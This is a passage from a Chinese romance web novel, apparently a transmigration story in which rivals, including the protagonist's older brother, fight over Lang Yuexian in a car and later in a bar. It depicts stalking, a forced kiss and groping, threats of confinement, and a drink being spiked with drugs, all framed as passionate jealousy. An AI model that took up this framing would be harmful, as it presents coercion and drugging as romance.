朗秉白盯着那个靠着自己弟弟极近的入侵者,开口说道:“坐到前面来。” 盛衍看着后视镜里那双与自己如出一辙的占有欲眼神,意识到朗秉白是不会允许有人在他面前和朗月现如此行为亲密的。 于是他顺从地挪到了前排,系安全带时还不忘回头微笑,朗月现支着下巴冲着他戏谑地挑了挑眉。 两个针锋相对的男人坐在一辆车上,车内的气氛简直压抑到极点。朗秉白指节有一下没一下的敲着方向盘,皮革发出闷闷的咚咚声,他率先开口打破沉默。 “小月,什么时候发现我在跟着你?”后视镜里映出他紧绷的下颌线,喉结在问话时不自然地滑动了一下。 朗月现支着下巴扭头看着窗外,路上霓虹灯在他睫毛上投下点点光斑:“一开始就知道了,你换车换的太频繁了,而且跟得太紧。” 说罢朗月现抬手比了个望远镜的手势,漂亮的腕骨从袖口滑出一截:“再说了,不要以为只有你能监视别人。” 朗秉白听后忽然低笑出声,镜片后的眼神变得柔和:“如果小月想知道哥哥行踪直接问就好,不用这么麻烦。” 他指尖沿着方向盘缝线慢慢游走,仿佛在抚摸情人脊背,声音颇为愉悦:“哥哥什么都愿意跟你说。” 朗月现还没说话,一旁的盛衍倒先慢悠悠的开了口。他整个人陷在副驾驶的座椅上,两条长腿随意支着。 “朗总的爱好还真是小众,”盛衍说着,从口袋里摸出颗草莓糖,塑料糖纸在指尖发出窸窣响动,“喜欢监视自己的弟弟。” 他将剥好的糖递到后座,“听这语气,好像完全不觉得自己有什么问题。”指尖在朗月现接过去的掌心轻轻一划,草莓甜香突然在封闭空间漫开。 朗秉白声音冷了下来:“盛同学对别人的家事很感兴趣啊。” “是啊,很感兴趣。”盛衍说着,突然转身,安全带勒出清晰的胸肌轮廓。他胳膊搭在椅背上,袖口堪堪蹭过朗月现膝盖,喉结顺着看向朗月现的眼神上下滚动,“毕竟是那晚之后,我和小月早该坦诚相待了。” “?”朗月现抬起头看他,齿间还卡着半融化的草莓糖。朗秉白却紧紧蹙起了眉头,后视镜框住的半张脸泛着难看的青白:“这是什么意思?” “那晚太过仓促,”盛衍依旧转头看着朗月现,呼吸间带着薄荷的清冽味道,“我情绪也不够稳定,当时没来得及好好告白。” “现在补上。”盛衍眼神深深的看向朗月现,他似乎并没有看上去那么从容,声音在说话的时候因为紧张重重一颤:“小月,我想正式追求你。” 车子猛地一个急转弯,朗秉白猛踩刹车,轮胎在路面擦出刺耳啸叫。朗秉白脖颈暴起的青筋在仪表盘红光反射中不断跳动,安全带回弹的金属扣重重磕在车窗上。 朗月现舌尖抵着上颚碾碎残留的草莓味道,喉间混着冷笑咽下糖渣。 “追求?”这个荒谬的词在他齿间转了两圈,不过是各取所需的纾解而已,一个两个的怎么都想要自己负责,简直不可理喻。 可朗秉白却明显愤怒了,他这气生的朗月现都觉得莫名其妙:“不要试图抢走不属于你的东西。” “如果小月不愿意,”盛衍不以为意的冷冷一笑:“为什么他那晚会跟我在一起。” 盛衍的意思很明确,即使朗月现真的同意和你在一起,他也会想尽办法抢过去,无论手段多么难看都无所谓。 朗秉白沉默了很久,指关节在方向盘的皮革上压出深深凹痕。他转头看向后座的朗月现,完全无法抑制满心的愤怒和嫉妒,声音因为情绪激动而微微颤抖:“小月,你们之间……” “你不必回答他。”盛衍突然横过手臂挡在两人之间,“小月,离开他,我会处理剩下的麻烦。” “离开我?”朗秉白气笑了,他猛地踹开驾驶位的门,绕到后座,一把拽开车门。 “你可以试试看,离开我。” 朗秉白突然捏住朗月现的下巴,手指发力让朗月现本能的仰头。“你……”齿关刚漏出半个音节,带着雪松冷香的唇在他嘴微张的一瞬间吻了上来。 唇齿间满是甜腻的草莓糖的味道,鼻尖蹭到镜架冰凉的金属边,朗秉白另一只手插进他的发间,吞掉弟弟喉间溢出的所有气音,胸腔里深藏的情绪此刻像决堤的洪流。 盛衍骤然拉开另一侧车门,夜风裹着他身上清冽的薄荷味道冲了进来。他毫不犹豫拽开朗秉白的领口,将人狠狠甩开。朗秉白直接撞上了门框,发出沉闷的撞击声。 “别碰他。” 后座因为两个高大成年男性的加入变得格外拥挤,朗月现被夹在座椅和两个滚烫的胸膛之间,面前是朗秉白西装上的雪松清冷气息,后背贴着盛衍带着薄荷苦艾味道的紧实胸膛。 车顶灯亮起的瞬间,朗秉白膝盖抵进真皮座椅的凹陷发出闷响。他整个人如铁笼般覆在朗月现上方,左手掌根压着座椅边缘,右手虎口卡着对方的腕骨紧紧扣住。 他把朗月现搂进自己怀中,牢牢将人困在自己的身下,喉间滚动的喘息:“宝宝……” 这个称呼被他含在唇齿间反复咀嚼,嘴唇擦过朗月现耳垂,手指顺着腕上的青紫脉络慢慢摩挲,“不管你们做了什么,哥哥知道,是外面那些贱人勾引你,哥会处理好的,相信我。” “装什么深情?”盛衍手臂突然如铁钳般横贯在两人之间,他从后面搂住朗月现的腰,试图将人扯向自己怀中,再也维持不住脸上的神情,气到发笑:“别像只该死的狗一样哀嚎乞求你主人的怜悯。” “这个只会靠着偷窥监控发情的可悲男人根本配不上你。”盛衍的气息同样从紧紧贴近的身后传来,高挺的鼻梁擦过朗月现的后颈,一只手搂着他的腰,突然发力把人往自己怀里带,另一只手拉过朗月现的手,手指强硬插进他的指缝,“他不可能像我一样爱你,我会给你自由,给你所想要的一切。” “相信我,只有我们俩才是天生一对。” “我会让任何挡在我们之间的人全部消失,告诉我你爱我,告诉我你会永远和我在一起……” 身下的皮革在三人纠缠间不断发出让人尴尬的摩擦声,朗月现被两个男人紧紧夹在中间,两道骤热的呼吸在他周围绞成死结。他刚开始还抱着看热闹的心态,逐渐发现这两个男人的情绪都变得不对劲起来。 朗月现突然屈起膝盖顶在朗秉白肋下,另一只手肘狠狠撞向盛衍喉结,动作间踹翻了车子中央的扶手箱,发出一声闷响打破了逼仄空间里的紧迫窒息感。 “够了。” 身后的盛衍僵住了,但面对着他的朗秉白却像是失去了理智,额角青筋突突直跳,他不但没有停下来,反而变本加厉起来。 朗秉白双眸赤红,死死盯着弟弟毫无波动的脸:“你总是这样,你总要把我搞疯。” “我真想把你锁起来,把你锁在没人能找到的地方,你知道我做得到的。”朗秉白狠狠闭了闭眼睛,后槽牙咬得咯咯作响,“只不过我还在妄想你能爱我,不想让余生看见你的眼睛里只有对我的恨。” 他睁开眼睛看着朗月现,眼里的痛苦几乎要凝成实质,失了智一般突然咬向朗月现的喉结,手顺着他的衣服下摆探了进去。 朗月现立即怒斥道:“朗秉白!” 朗秉白恍若未闻,手指仍粗暴地不管不顾往温热肌肤里探:“为什么不要?不喜欢我碰你吗?你没有让他这样碰过你吗……” 盛衍扣在朗秉白肩头的手指骤然收紧,却没能阻止对方发狠的动作。朗秉白喉间滚动的喘息喷在弟弟颈侧,手掌已经将朗月现的衣服掀了起来。 朗月现突然反手抓住朗秉白头发后扯,指关节砸在他的颧骨上发出凶狠的闷响。 粗重的呼吸声弥漫在狭小的空间中,几人沉默了几秒钟,朗秉白嘴角渗血,他浑不在意的只顾着看着弟弟的脸色。三个人呼吸都沉重且急促,空气中弥漫着无法遮掩的嫉妒和占有欲带来的苦涩刺痛。 过了一会儿,朗秉白垂在身侧的手掌慢慢攥紧,他缓慢抬起被血丝缠绕的眼睛,喉结艰难的滚动两下,声音破碎又沙哑。 “……抱歉。” 话音刚落,他突然扯动嘴角笑了。手指轻轻插进朗月现发间,缓缓轻揉。 “是我罪有应得。”他说着又笑起来:“你该恨我的。” “是我把你最珍视的感情搞得一团糟,是我没法当一个正常的哥哥。” 他不顾盛衍还在盯着他的一举一动,彻底放下所有尊严,像是哀求一般声音极轻地喃喃道:“可我真的……再也受不了了。看到你和不断和其他人在一起,这快把我逼疯了。” 朗秉白呼吸都在颤抖,朗月现看着哥哥通红的眼尾,那滴泪正沿着刚刚被他用拳头砸出的红痕,掉到了朗月现仰起头看他的脸上。 “求求你,你这样,哥哥……活不下去的……” 死寂在三人之间蔓延,朗月现什么也没说,他看着朗秉白猩红的眼尾,抬手抹掉那滴不属于自己的眼泪,指尖在额角青筋突突直跳的位置重重按了两下。 “滚。”他颇为疲惫的捏了捏眉心,“都给我滚出去。” 引擎轰鸣声刺破渐深的夜色,朗月现猛打方向盘调转车头,两道雪亮的灯柱扫过路边僵立的两个人,很快消失在长街尽头。 来接朗秉白的车到的更快一些,他在上车时余光都没留给盛衍,只冷冷丢下一句:“盛同学,不要以为仰仗父亲的庇护就能为所欲为,令尊在朗氏那点人情,保不住你几次。” “真要鱼死网破,大可以试试看。” 盛衍插在风衣口袋的手指骤然攥紧,他看着绝尘而去的车尾灯消失在拐角,眼神彻底变得阴鸷起来。 “鱼死网破?”他对着虚空呢喃,舌尖抵住后槽牙慢慢磨过。 —— 闪烁的五彩灯管在玻璃酒柜上折射出迷离的光斑,身后过生日的朋友正哀嚎着被人抹上一脸的奶油。 盛衍百无聊赖的依着栏杆往楼下望去。 “看什么呢?”朋友凑过来叫了他一声,盛衍扬了扬下颌示意朋友往下看,“我在看他准备什么时候动手。” “嗯?”朋友顺着他示意的方向看过去,楼下斜对角卡座里穿花衬衫的男人神色慌张的一直在擦汗,看上去异常的躁动。 调酒师正在摇晃雪克杯,杂乱的金属碰撞声里,那个花衬衫男人紧盯着旁边位置,右手指节神经质地不断敲打着台面。 花衬衫抖开餐巾纸时,朋友也看清了藏在里面的那个小纸包。朋友戏谑的吹了个口哨,旁边穿吊带裙的姑娘还在和闺蜜自拍,浑然不觉自己面前的酒已经被人动了手脚。 盛衍冷笑一声,无趣的移开了目光,而就在这时,他的视线突然定在了昏暗角落里的一处卡座上,停在VIP区中那个穿着休闲烟灰色衬衫的身影上。 四射的缤纷灯光下,朗秉白正皱着眉把面前的威士忌杯推得离自己更远些。 盛衍眯了眯眼睛,突然心念一动,他拉住朋友,点了点被花衬衫男人下过了药的酒水:“帮个忙,送杯酒给老熟人。” 朋友叼着柠檬片含混不清地笑:“你可真是……” VIP区的冰桶腾起白雾,朗秉白突然不耐的扯开两颗衬衫纽扣。这次的合作商是陆存远的朋友,一群玩咖选在了这种吵闹的环境里谈合作,让朗秉白实在是觉得不适。 但程澈不在公司,陆存远自己又没有信心看出合同中的门道,朗秉白只能纡尊降贵跟着一起过来。 “先生您好,这是那边的小姐送您的特调。” 一位酒保端着一杯色彩斑斓的鸡尾酒走了过来,朗秉白看都没看,甚至都没抬头确认是什么人送的,只冷冷一句:“我不需要。” 酒保仿佛早已料到,只笑了笑说:“本店规矩,女士送出的酒概不退回哦。”说完便转身离开。 闪的人眼花缭乱的光晕在酒杯壁上晃动,朗秉白拇指无意识摩挲着杯沿。不知道是不是因为震耳欲聋的电音混着凌乱闪烁的灯光环境让他实在难以适应的原因,今天晚上他莫名有些烦躁,总觉得有什么事情要发生,心里一直惴惴不安。 当陆存远举着酒杯从舞池走过来时,他站起身整理了一下袖口。 “朗总?” “头疼。”朗秉白抓起西装外套,袖扣刮过真皮沙发发出刺响,陆存远小跑着追到走廊才抓住他胳膊:“合作方还在……” “松手。” 朗秉白烦躁的捏了捏眉心,不知道为什么,他此刻心乱如麻,满心急迫的想要立刻见到朗月现,这个念头强烈得几乎要破胸而出。 他被内心的那股不安灼烧的难以平静,他拂开陆存远,头也不回的向外走去。 与此同时。 朗月现略显狼狈的坐在一条潮湿的小巷入口,机车斜靠在生锈的消防栓停在一边。 他的右手夹着细烟,烟灰顺着颤抖的指尖簌簌落进排水沟,左手还死死攥着机车钥匙,齿痕深深印在掌心中。 系统打着颤的声音从脑海中传来:“宿……宿主,吓死宝了……”它的声音带上哭腔,泪珠子啪嗒啪嗒的往下掉:“刚刚怎么回事啊……我还以为要完蛋了呢,数据库都吓格式化了,咱俩差点变成马赛克了……” 朗月现颤抖着呼出一口气,烟头明灭间照亮他泛白的指节。突然低下头笑了笑,额前汗湿的碎发扫过他极长的眼睫:“死亡摇摆。” 几分钟前,在距离这条路口不远的位置,疾驰的机车车把突然不受控制的疯狂甩动,仪表盘指针也在不断抽动。 朗月现瞬间绷紧腰腹肌肉,手套在油门握把上勒出深痕。他立刻冷静下来,在系统拔高的尖叫声中猛轰油门,引擎轰鸣着巨响,前轮蹭着绿化带往前窜出二十多米。 就在轮胎触地的瞬间,朗月现猛地松开车把。夜风掀起他黑色夹克下摆,突如其来的失重感让胃部不断翻涌。后轮擦着隔离墩将将回正时,他猛然回握把手拉紧刹车,轮胎发出刺耳的摩擦声,机车歪斜着冲进这条背街小巷才堪堪停住,惊飞了小巷里觅食的夜猫。 不少人骑机车都遇到过死亡摇摆,在机车高速行驶状态下,但凡头脑不清操作失误,包括下意识捏紧刹车,这种情况,天王老子也救不回来。 明明前不久才送去保养,怎么会突然出现这种问题。朗月现皱了皱眉,好在他反应极快,有惊无险,肾上腺素飙升的情绪还在胸口乱撞。 他依旧处于极度亢奋状态下,捻灭烟头,火星在脚边积水中“嘶”的一声灭掉。他抬头看向霓虹闪烁的后门招牌,招牌有些漏电,滋啦滋啦闪着火花。 他捋了把头发,便准备进去喝一杯压压惊。 系统突然安静了几秒,略带疑惑的声音传来:“LastNight?好耳熟的酒吧名。” “啊……宿主。” 系统的下一句话让朗月现的脚步瞬间顿在原地:“这就是大结局的那个地方了。” 朗月现捋头发的动作僵在半空中,发丝在霓虹灯下泛着妖异的紫光。他再次看向那噼啪作响的漏电招牌,眼前斑驳的酒吧后门突然和记忆里大雨中满是血泊的打码视频完美重合。 第五十五章 痛觉里竟然渗出诡异的快感 朗月现推开酒吧后门, 僻静后巷潮湿的霉味立刻被震耳欲聋的电子音浪替代。他理了理领口,边在脑海内唤着系统给自己兑换万能解毒药,边慢慢往里走去。 刚走到吧台处, 意外看见了位熟人。 垂头丧气的陆存远捏着合同正趴在吧台上有气无力的点酒,听到脚步声抬头时惊得差点从高脚凳上摔下来。他手忙脚乱扶住吧台边缘, 揉了揉眼睛,在看到朗月现的时候他还以为自己喝多了出现幻觉了。 “二……二少爷?您怎么……” 陆存远不可思议的叫出声,话说到一半突然想起什么,扭头往最里侧的卡座张望。空荡荡的座位提醒他朗秉白刚不久才甩开他,已经离开了。 他挠挠头又转了回来,朗月现屈指叩了叩大理石台面要了杯度数很低的甜白。陆存远盯着那杯浅金色的甜白葡萄酒, 突然福至心灵,下意识多看了朗月现几眼, 这不就是刚瞌睡就有人送枕头吗? 他想起之前几人喝茶时朗月现完全不输程澈的专业商业金融方面的能力,厚着脸皮低声下气的求朗月现能不能纡尊降贵帮自己看看合同。 “朗……朗少,就耽误您十分钟,不, 五分钟!”陆存远竖起三根手指发誓,又心虚的蜷起一根,“您不知道,我那帮狐朋狗友都是人精,关于钱的事情上贼的很,想着法子套别人的好处。” 他越说声音越小,最后几个字几乎淹没在舞池那边突然爆发的欢呼声里,“没有朗总我是真的没底……我又不敢拖到下次,怕给拖黄了。” 朗月现晃着酒杯没接话,杯角折射的光斑扫过陆存远冒汗的鼻尖。后者突然捂住心口作痛心疾首状:“那帮孙子虽然不是什么好人, 但是是真有钱啊……这单要是真黄了,朗总至少得少赚这个数……” 他胡乱比划了个手势,声音越说越虚,明显已经有些慌不择路,开始胡扯了。 “哦?”朗月现突然轻笑,杯底轻轻碰了碰合同封皮发出脆响,“我哥什么时候开始惦记苍蝇腿上这点肉了?够丢人的啊。” 对啊,朗氏长子能在乎这点合同上的盈利?说出去都让人笑话。陆存远被噎得耳尖通红,正想着要是现在跪下来哭两嗓子是不是有点过于丢人了。 他摸了摸脑门上并不存在的汗,抬头就看见朗月现似笑非笑的看着他。 陆存远后颈泌出冷汗,干笑着摸了摸鼻子。没想到朗月现竟然站起身拎起合同,仰了仰下巴示意:“走吧,带我看看让朗秉白都在乎的合作能有多精彩。” * 陆存远那帮在舞池里群魔乱舞的朋友大部分都已经坐了回来,东倒西歪的瘫在卡座里。 关乔正叼着樱桃梗逗弄身边的女伴,抬头时突然一愣,梗子“啪嗒”掉进酒杯。 他眼看着那道修长的身影穿过群魔乱舞的人群站在自己面前。黑色的短款皮衣干净利落,随着动作露出里面的薄衫包裹下的身姿极其的挺拔漂亮。窄腰宽肩,一双大长腿实在太过优越,黑发稍稍有些凌乱,却更多了几分潇洒味道。 四射纷乱的灯光勉强显出那张五官生的极好的脸,那双嘴唇在昏暗的光线中也现出绯红诱人的颜色,捋头发时腕骨凸起的弧度,让关乔想起博物馆里见过的古希腊雕像,美到让人难以言喻。 “往那边挪挪!”陆存远踹了脚卡座边上看呆了的红毛,看着这群看人看得都在张着嘴发愣的蠢货们,陆存远恨不得挨个踹过去。他粗暴地拽开几个挡路的家伙,毕恭毕敬把朗月现请到中间朗秉白刚刚坐过的位置上。 朗月现坐下后,卡座里此起彼伏响起倒抽冷气声,一旁的人都有些蠢蠢欲动,陆存远立即挤到朗月现身边,紧紧挨着他,以防有不长眼的家伙凑上来找死。有个胆子大的掏出手机想偷着拍照,被他瞪得又缩回暗处。 能做出在酒吧里签合同,这种毫不顾忌行为后果的人,的确是位名副其实的典型纨绔子弟。关乔前不久才被他老爹举着财经杂志怒骂,晃着杂质封面上陆存远的新公司大楼,称他关乔长这么大,唯一做的一件正确的事就是能和陆存远当了朋友。 “你看看人家,你再看看你。”关父恨铁不成钢的看着在屋里置若罔闻打着游戏的关乔,“陆存远拿着几个亿能搞个迈切斯特出来,你呢?我给你扔几个亿连个响都听不到!” 关乔把吹炸了的泡泡糖又咬进嘴里,终于大发慈悲的看了他老爹一眼:“行啊,你把钱给我,我去找你喜欢的陆儿子让他给你听个响。” 几个亿的礼花炮到底是不同凡响,关乔此刻看着灯光昏暗的酒吧里翻阅合同的那个人,突然理解老爹的愤怒了。同样是花钱,人家陆存远就能请来这种级别的美人看合同。 他这种顶级纨绔见过的各色美人可谓是过江之鲫,国际秀场的顶级超模,娱乐圈的大小明星,哪个不是吹的神乎其神的送到他面前,眼光不可谓不刁钻。 可美到这种程度的…… 朗月现坐在沙发卡座上,姿势非常潇洒,大马金刀的撑着腿,微微俯身,手肘抵着膝盖拿着合同翻看。可能是因为光线有些昏暗,他看合同时略微皱着眉,舞池里的紫光扫过朗月现的傲人眉骨,气场一下就出来了。 性格看上去张扬强势的美人比起单有美貌的寡淡美人要更加吸引人,朗月现简直要把周围的人都迷的神魂颠倒。 关乔就要被迷死了,他心脏咚咚直跳,感觉心跳快把衬衫扣子弹飞了。当玩咖当了这么多年,还从来没有这么心动的时刻。他感觉自己跟个毛头小子一样,光坐在人身边都紧张的要死。 灯光扫过朗月现侧脸,他看见美人唇角转瞬即逝的弧度,突然觉得老头骂得对。 这他妈才叫把钱花在刀刃上,太值了,关乔在心里想着,老头花的这几个亿太他妈值了。 光是坐在这儿看美人皱眉就已经完全值回票价了。 关乔喘着粗气,汗珠顺着脖颈滑进大敞的衬衫领口,他完全屏蔽了旁边陆存远能杀人的目光,又往朗月现身边挪了半寸,沙发被他蹭得咯吱作响。 他猛地意识到自己粗重的呼吸可能会唐突了美人,慌忙深吸一口气憋住,脖颈青筋都憋得绷起来才敢再次靠近。手掌试探着撑在茶几上,整个人几乎要横在朗月现面前。 “能看清吗?我给你打个灯吧。”他声音抖得不成样子,从裤兜里摸手机慌得把皮带扣撞得叮当作响。 陆存远在旁边急得直踹他小腿,他却浑然不觉继续前倾,衣服都从皮带里扯出来半截。 朗月现头都没抬,垂眸翻动合同纸页,指尖在某个款项上轻轻一叩,对陆存远说话时睫毛都没颤:“下次雇个人给你看,这么大的老板别省这点钱了。” 陆存远脸上腾地烧起来,狠狠剜了正以一种奇怪的姿势试图偷闻朗月现袖口玫瑰香的关乔。 要不是他这个干什么都必须是一句话说定,说一不二连个招呼都不打的任性发小,签合同的时间也不会急迫到连找个专业人员检查条款都来不及,哪至于让这位祖宗在酒吧卡座里帮他看合同? 他一边在心底痛骂这小子除了有钱,狗屁不是,一边面上讪讪地赔着笑点头,连连应着朗月现的话。 关乔理都没理想要掐死他的陆存远,一眨不眨的盯着朗月现看。 他睫毛真长啊……怎么会这么长,漂亮死了…… 五彩斑斓的射灯落在那排浓密的睫毛上,随着呼吸轻颤时像蝴蝶振翅。关乔像是被魅住了一般,神使鬼差的伸出食指,想去碰一下那长的离谱的睫毛。 陆存远刚端起酒杯想喝一口,见状差点一口水喷出来,呛得直咳嗽,还没反应过来他这是要干什么,关乔的那根不安分的手指已经快戳到人家睫毛上了。 “啪!” 手腕被擒住的声响惊得卡座中的其他人都安静了半秒。 朗月现五指收拢的瞬间,关乔整个人被带得往前一栽,膝盖砰的一声磕在了茶几边缘。 朗月现终于抬起眼皮大发慈悲的看了他一眼,漆黑的瞳仁泛着冷玉般的光泽。 这一眼看的关乔爽死了,后腰倏地窜起电流,他几乎是立刻起了反应。 张了张嘴却怎么也发不出声,一脸呆愣的只顾着盯着人看。 陆存远深知这位二少爷才是朗家最得罪不起的祖宗,赶紧在关乔惹祸之前拼死挽救局面。 他一脚踹在关乔腿上:“……老关!干嘛呢你,这位是朗家二少!”说完又转头冲向朗月现时声音瞬间低了八度,赔着笑解释:“二少爷,我这位朋友打小脑子就不正常,爪子也贱,还有多动症,您多担待。” “多动症?”朗月现松开手,他慢条斯理的转着尾戒,目光扫过关乔泛红的手腕:“我倒是认识些不错的神经科医生。” 卡座里响起此起彼伏的憋笑声,关乔揉着手腕,目光仍追着朗月现转尾戒的修长手指,陆存远抓起冰桶里的冰块往他脸上扔:“降降温吧你!” * 关乔的手顺着朗月现放开的力度不舍地慢慢垂下去,指尖在腕骨处反复摩擦,仿佛要把那圈残留的温度揉进皮肤里。 朗家的人……他舌尖顶了顶腮帮,目光又黏回朗月现侧脸。这人连发丝垂落的弧度都漂亮的像是精心丈量过,在耳后弯成个慵懒的钩子。 他比朗月现要大上不少,平时混迹的圈子里认识的人多是陆存远、朗秉白那拨年龄段的人。这个还不到二十岁的朗家人* ,他的确是不太熟悉,朗父也不喜欢让小儿子出席公众场合,没在一起碰过面也很正常。 提到朗家,他们一起玩的圈子里有名的不是朗家到底有多巨富,而是朗秉白这个活体《别人家孩子图鉴》永久霸榜首席成员。 就说他们这伙人小时候谁没被自己父母亲拎着耳朵教育过:“你看看人家朗秉白。” 魔咒,简直是魔咒。关乔后槽牙都发酸,不由地想起小时候生日宴上,父亲当众拎着他的耳朵说:“看看人家朗家大少爷十四岁就能操盘并购案”的场景。 那会儿他嘴里还含着巧克力喷泉沾的棉花糖,甜腻糖丝挂在嘴边衬得他活像个小丑。 他简直对朗秉白这三个字产生了生理性条件反射,所以当他看见陆存远带来的合作伙伴竟然是朗秉白时,此人像兔子见了鹰一样站起来就跑了。直到在舞池里待到快跳不下去,有人告诉他朗总已经离开了,他才回了卡座。 “嘶……”关乔被记忆里的羞耻感激得抖了抖,他偷眼再次去看朗月现,那双骨节分明的手正在合同边角敲出规律的轻响。 这是朗家的人啊。关乔皱了皱眉,下意识的第一反应就是麻烦。 原本以为只是陆存远公司新招的法务,想着就算往死里砸钱,给他砸晕也要拐到自己怀里来。 这会儿知道是朗家二少,突然变成了朗家的人,真要说砸钱还不一定谁能砸晕谁呢…… 可……关乔一眼一眼的看过去,朗月现的一举一动完全把他迷的头晕目眩。那截从袖口露出的手腕白的晃眼,随着翻页动作凸起的腕骨像是裹着诱人外壳的水晶糖霜…… 能舔吗……这个念头冒出来时,关乔刚被陆存远那句“朗家二少”吓得清醒了三分的神智瞬间又混沌住了,酒精的余韵终于冲到了头顶,催得他眼眶发红。 他看着朗月现的脸,馋的要疯。如果这里没有这么多人在,他恨不得现在就跪下像条狗一样舔遍他的全身。 朗家?朗家怎么了?朗家二少爷也要谈恋爱的吧,那为什么不能是我呢? 关乔低头扯了扯身上紧绷的衬衫,结实的腹肌在贴紧的布料下若隐若现。他细细打量了下自己,长得不错,身材也一直保持的很好,腹肌二头肌啥都不缺,那凭什么不能是我呢? 关乔好像突然就有了底气,被朗月现迷住了神智的男人越想越觉得有道理,他猛地探身过去,直接握住了朗月现搭在膝盖上的那只手。 陆存远正在喝冰水压惊,一眼看见水柱直接从鼻孔喷出来。他顿时头皮发麻,吓得几乎要双眼翻白,瞬间又想到如果现在晕过去,朗月现真要出点什么事,他想痛快的死都不容易,又活活把自己吓飞出去的魂拽了下来。 陆存远手忙脚乱探出身子去掰关乔的手指,疯狂给关乔使眼色,脸上的表情清楚的写着“兔崽子你不活了我还想活呢!” “老关!”陆存远从牙缝里挤出气音,掐着他虎口的手都在抖:“你喝多了爪子就乱放的毛病什么时候能改改!” 他一边怒斥一边给坐在他旁边的男人使眼色,“李思安,快点,老关喝多了,快给他弄走!” 被点名的男人眼睛还盯着朗月现敞开的领口发愣,被陆存远吼了这么一嗓子,闻言慌慌张张起身,脑子还有些混乱的没反应过来,打翻了半杯莫吉托,薄荷叶甩到了朗月现的膝头。 “你有交往对象了吗?有没有都无所谓。”关乔豁出去往前顶了顶/胯,裤子包裹的肌肉线条随着动作绷紧:“我学东西很快的,你能不能考虑考虑我?我可以每天跪在你桌子下面,等你批文件批累了……” 朗月现忽然轻笑一声,随手扔下合同,指尖拨开膝间的薄荷叶。 众人还没看清动作,巴掌已经携着风声狠厉地抽过来。关乔偏头的瞬间瞥见他尾戒在空中划出的银弧,像一闪而过的流星飞速掠过他烧红的耳尖。 关乔被这一巴掌完全扇懵了。 非常痛。 他捂着火辣辣的左脸,指缝里还渗着鼻血,耳朵里嗡嗡作响像是有人塞进了无数个警报器。 卡座顶灯的光晕在他眼前碎成片片光斑,周围的声音都像蒙上一股马赛克,远处电子音的鼓点变成闷在水里的闷响。 可挨着掌心的皮肤还分明残留着朗月现指尖的凉意,混着那缕缠绕在鼻尖的冷淡玫瑰香,痛觉里竟然渗出诡异的快/感。 凶狠的力道后就是扑面而来的玫瑰香气,好爽…… “啪。” 第二滴血砸在地板上时,关乔终于从恍惚中惊醒。他胡乱用袖口抹了把脸,面料上立刻晕开暗红血迹。那边朗月现给了他一巴掌后甚至都没再分给他一个多余的眼神,甩了甩手掌就低下头继续看合同。 他正在垂眸翻页,打完人的右手搭在沙发扶手上,尾戒在七彩光线下泛着凌厉的冷光。 “手疼不疼……”关乔顶着迅速肿起的半边脸,哆嗦着捧起冰桶里最干净的那块方冰,想给朗月现的手降降温。 “他生我气了……手都打痛了吧,我真该死。”关乔小声嘟囔着,他跪在茶几与沙发之间的空隙,又觉得冰块太冷,他拿自己衣服包着,献宝似的小心翼翼把一杯龙舌兰往合同旁推了推,酒液顺着发抖的手腕在杯口晃出涟漪:“润……润润喉吧……” 陆存远痛苦地捂住眼睛,从指缝里看见发小鼻血滴在沙发上,活像只被揍懵了还拼命摇尾巴的狗。 他实在没眼看,抬脚想把人勾过来,鞋尖刚碰到关乔后腰就被一把甩开。那傻子正盯着朗月现滚动的喉结发痴,肿成桃子的左眼还闪着诡异的光。 陆存远看着关乔这个惨不忍睹的傻样,满心都是关家到了他这代就算是彻底完蛋了的唏嘘。 朗月现稍稍抬头,突然停住翻页的手指。 视线从关乔递过来的龙舌兰看向了另一边颜色格外亮眼,和这整桌酒的风格显得格格不入的那杯酒。 陆存远顺着朗月现的视线看过去,那杯插着柠檬装饰的粉蓝色鸡尾酒正往下淌着冷凝水。他直起身子赶紧解释道:“这杯应该是朗总的酒,他走之后这杯酒就一直放在这没人动过了。” 他说到后几个字的时嘴角抽了抽,实在无法想象冷面阎王似的朗秉白端着这种少女系饮料的模样。 玻璃杯沿突然映出朗月现微微翘起的嘴角,他随手把合同放在一边,修长手指圈住鸡尾酒杯细长的背茎。 朗月现眼前浮现他哥那张沉默冷厉的脸,表情严肃的端着这么一杯花里胡哨的鸡尾酒,不由地低声笑了笑。 “什么时候变成这种口味了?” 他这么想着,笑意更深了些,无视了关乔递过来的龙舌兰,垂眸看着杯底晃动着颜色漂亮的酒液,仰头缓缓喝了一口。 第五十六章 神明啊,不管您是否仁慈 盛衍懒洋洋晃着骰盅, 塑料骰子撞击杯壁的声响混着对面朋友叫嚣的声音。他自己面前几杯惩罚用的酒一杯没少,对面的人看脸色已经快吐了,扶着桌沿干呕了好几回。 这家伙因为自己喜欢的女伴对盛衍有好感, 特地叫盛衍和自己玩这个他自认为非常拿手的酒桌游戏。本意明显是想看盛衍出糗,用的酒都是最烈的。五杯深水炸弹一字排开, 对面那人整张脸皱成苦瓜。 盛衍手腕一抖,骰盅倒扣在酒渍斑驳的桌面上,食指勾着杯沿往对面推了半寸:“愿赌服输。” 对面那人暗骂一声,本想在心上人面前耍个帅,结果所有的酒都进了自己肚子里,喝的连拿酒杯的手都在抖, 愤愤的举起来就往喉咙里倒。 “叮。” 身旁的朋友听到手机提示音后掏出来看了一眼,接着便用手肘撞了撞盛衍的胳膊, 手机屏幕的冷光映着他兴奋的眼神,笑着说:“哎,喝了。” 盛衍扯了扯嘴角,随意的点了点头表示知道了。 骰盅“哐”地砸在台面上, 他压根没往朋友举着的手机屏幕上瞟,食指挑开盅盖,在对面的惨叫声中露出淡淡的一个笑意:“喝干净,一滴也不许剩。” 他只是单纯的看朗秉白不爽,不想让他好过。至于后续结果怎么样,他到底喝没喝那杯加了料的酒,盛衍完全不在乎。 旁边朋友反倒看上去比他还关心一些,兴致勃勃的又拿起手机仔细看了看酒保发来的图。 朋友突然“咦”了声,有点疑惑的发问:“哎?刚刚收下酒的是这个人吗?” 盛衍没什么反应,挑着眉看着对面叫了一声“开”, 愉悦的在对面的哀嚎声中又看着他灌下一杯。 “刚才往下看的时候,这个人……有这么漂亮吗?怎么这么漂亮?” 盛衍闻言一愣,他扭过头看向在用双指不断放大屏幕盯着照片看的朋友,突然心头一紧。 余光里照片模糊成色块,但那双抵着杯沿的殷红唇瓣像一把尖刀一样瞬间深深扎进他的眼睛里。 手机骤然被抢走,朋友还没来得及抗议,却被盛衍在看清屏幕后喉间爆出的一句粗口震得僵在原地。 